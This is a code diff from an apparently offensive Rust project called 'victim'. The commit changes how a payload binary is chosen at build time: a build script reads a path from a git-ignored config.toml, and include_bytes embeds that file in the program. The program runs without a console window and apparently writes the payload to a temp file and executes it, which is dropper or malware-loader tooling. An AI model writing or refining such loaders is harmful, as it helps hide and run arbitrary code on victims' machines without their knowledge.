M .gitignore => .gitignore +1 -0
                    
                    
@@ 1,5 1,6 @@
 /target
 /victim/target
+/victim/config.toml
 
 # Added by cargo
 #
                     
                    M victim/Cargo.lock => victim/Cargo.lock +64 -0
                    
                    
@@ 39,6 39,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79"
 
 [[package]]
+name = "proc-macro2"
+version = "1.0.49"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "57a8eca9f9c4ffde41714334dee777596264c7825420f521abc92b5b5deb63a5"
+dependencies = [
+ "unicode-ident",
+]
+
+[[package]]
+name = "quote"
+version = "1.0.23"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8856d8364d252a14d474036ea1358d63c9e6965c8e5c1885c18f73d70bff9c7b"
+dependencies = [
+ "proc-macro2",
+]
+
+[[package]]
 name = "redox_syscall"
 version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 57,6 75,34 @@ dependencies = [
 ]
 
 [[package]]
+name = "serde"
+version = "1.0.152"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bb7d1f0d3021d347a83e556fc4683dea2ea09d87bccdf88ff5c12545d89d5efb"
+
+[[package]]
+name = "serde_derive"
+version = "1.0.152"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "af487d118eecd09402d70a5d72551860e788df87b464af30e5ea6a38c75c541e"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn",
+]
+
+[[package]]
+name = "syn"
+version = "1.0.107"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1f4064b5b16e03ae50984a5a8ed5d4f8803e6bc1fd170a3cda91a1be4b18e3f5"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "unicode-ident",
+]
+
+[[package]]
 name = "tempfile"
 version = "3.3.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
@@ 71,10 117,28 @@ dependencies = [
 ]
 
 [[package]]
+name = "toml"
+version = "0.5.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1333c76748e868a4d9d1017b5ab53171dfd095f70c712fdb4653a406547f598f"
+dependencies = [
+ "serde",
+]
+
+[[package]]
+name = "unicode-ident"
+version = "1.0.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "84a22b9f218b40614adcb3f4ff08b703773ad44fa9423e4e0d346d5db86e4ebc"
+
+[[package]]
 name = "victim"
 version = "0.1.0"
 dependencies = [
+ "serde",
+ "serde_derive",
  "tempfile",
+ "toml",
 ]
 
 [[package]]
                     
                    M victim/Cargo.toml => victim/Cargo.toml +5 -0
                    
                    
@@ 8,5 8,10 @@ edition = "2021"
 [dependencies]
 tempfile = { version = "3.3.0", optional = true }
 
+[build-dependencies]
+serde = "1.0.152"
+serde_derive = "1.0.152"
+toml = "0.5.10"
+
 [features]
 payload = ["dep:tempfile"]
                     
                    A victim/build.rs +20 -0
                    
                    
@@ 0,0 1,20 @@
+use std::io::prelude::*;
+use std::fs::File;
+use serde_derive::Deserialize;
+
+#[derive(Deserialize)]
+struct Config {
+    payload: Option<String>,
+}
+
+fn main() {
+    println!("cargo:rerun-if-changed=config.toml");
+    let mut file = File::open("config.toml").expect("Unable to open the file");
+    let mut contents = String::new();
+    file.read_to_string(&mut contents).expect("Unable to read the file");
+    let config: Config = toml::from_str(&contents).expect("Cant convert to toml");
+    if let Some(payload) = config.payload {
+        println!("cargo:rustc-cfg=payload");
+        println!("cargo:rustc-env=payload={}", payload);
+    }
+}
                     
                    D victim/run +0 -0
                    
                    M victim/src/main.rs => victim/src/main.rs +2 -2
                    
                    
@@ 3,11 3,11 @@
     windows_subsystem = "windows"
 )]
 
-#[cfg(feature = "payload")]
+#[cfg(payload)]
 mod payload;
 
 fn main() -> Result<(), std::io::Error> {
-    #[cfg(feature = "payload")]
+    #[cfg(payload)]
     payload::run()?;
     Ok(())
 }
                     
                    M victim/src/payload.rs => victim/src/payload.rs +1 -1
                    
                    
@@ 5,7 5,7 @@ use tempfile::NamedTempFile;
 #[cfg(target_os = "windows")]
 use tempfile::Builder;
 
-const PAYLOAD: &[u8] = include_bytes!("../run");
+const PAYLOAD: &[u8] = include_bytes!(env!("payload"));
 
 pub fn run() -> Result<(), std::io::Error> {
     #[cfg(not(target_os = "windows"))]